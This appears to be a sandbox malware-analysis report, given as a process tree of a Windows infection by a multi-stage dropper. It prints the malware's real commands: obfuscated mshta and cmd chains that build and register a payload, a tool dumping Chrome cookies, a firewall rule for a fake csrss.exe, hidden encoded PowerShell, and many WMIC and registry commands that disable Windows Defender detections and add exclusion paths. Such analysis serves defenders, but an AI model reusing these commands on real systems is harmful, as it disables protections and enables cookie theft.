C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if ""/PX4zG_MrDTQaqZDUFLE4FTCdM "" == """" for %b iN ( ""C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "/PX4zG_MrDTQaqZDUFLE4FTCdM " == "" for %b iN ( "C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE" ) do taskkill /IM "%~nXb" /F8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: ClOSe (CrEatEOBJEcT ( "wscrIPT.shELL" ). run ("cmd.EXE /c ecHo DbsHLC:\Users\Admin\AppData\Local\Temp> NG09OyO.Q~L & EchO | sET /P = ""MZ"" > Ie8u.CQ & COpY /b /Y IE8U.CQ + x6cWIo.IP + JKXHZ5zV.E + hmNWm.I + NG09OyO.Q~L ..\KSHU2.Nr & Del /Q *& STaRt odbcconf /A { REgSVR ..\KSHU2.Nr } " , 0 , TRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ecHo DbsHLC:\Users\Admin\AppData\Local\Temp> NG09OyO.Q~L & EchO | sET /P = "MZ" > Ie8u.CQ & COpY /b /Y IE8U.CQ + x6cWIo.IP+ JKXHZ5zV.E + hmNWm.I + NG09OyO.Q~L ..\KSHU2.Nr & Del /Q *& STaRt odbcconf /A { REgSVR ..\KSHU2.Nr }8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO "9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>Ie8u.CQ"9⤵
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf /A { REgSVR ..\KSHU2.Nr }9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "942882.exe" /F6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\4580399.exe"C:\Users\Admin\AppData\Roaming\4580399.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4580399.exe"C:\Users\Admin\AppData\Roaming\4580399.exe"4⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
-
C:\Users\Admin\AppData\Local\f4154026-d613-44bf-b961-ff4766e6b3ef.exe"C:\Users\Admin\AppData\Local\f4154026-d613-44bf-b961-ff4766e6b3ef.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-V2NSJ.tmp\Fri2181d2a50ee0b.tmp"C:\Users\Admin\AppData\Local\Temp\is-V2NSJ.tmp\Fri2181d2a50ee0b.tmp" /SL5="$30142,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2181d2a50ee0b.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2181d2a50ee0b.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2181d2a50ee0b.exe" /SILENT2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-41R74.tmp\Fri2181d2a50ee0b.tmp"C:\Users\Admin\AppData\Local\Temp\is-41R74.tmp\Fri2181d2a50ee0b.tmp" /SL5="$301E2,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2181d2a50ee0b.exe" /SILENT3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-IV3SR.tmp\winhostdll.exe"C:\Users\Admin\AppData\Local\Temp\is-IV3SR.tmp\winhostdll.exe" ss14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri213cf6c87344.exeFri213cf6c87344.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2132e489b54e6db2f.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2132e489b54e6db2f.exe" -u1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2132e489b54e6db2f.exeFri2132e489b54e6db2f.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri214ee6bacb3.exeFri214ee6bacb3.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 9602⤵
- Program crash
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF\svqxiDUsnpZIatd\OnXuDvH.exeC:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF\svqxiDUsnpZIatd\OnXuDvH.exe KA /site_id 690689 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XkoxbZHNU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XkoxbZHNU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YNgnTEWyEyseTWGRyCR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YNgnTEWyEyseTWGRyCR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\glhxwepzReiRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\glhxwepzReiRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oCuSmkAerEUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oCuSmkAerEUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qxcTFNrCCcVU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qxcTFNrCCcVU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\KEcCBLLXBtmTALVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\KEcCBLLXBtmTALVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PTofrhojRUJWKHVX\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PTofrhojRUJWKHVX\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XkoxbZHNU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XkoxbZHNU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XkoxbZHNU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNgnTEWyEyseTWGRyCR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNgnTEWyEyseTWGRyCR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\glhxwepzReiRC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\glhxwepzReiRC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCuSmkAerEUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCuSmkAerEUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qxcTFNrCCcVU2" /t REG_DWORD /d 0 /reg:323⤵
-
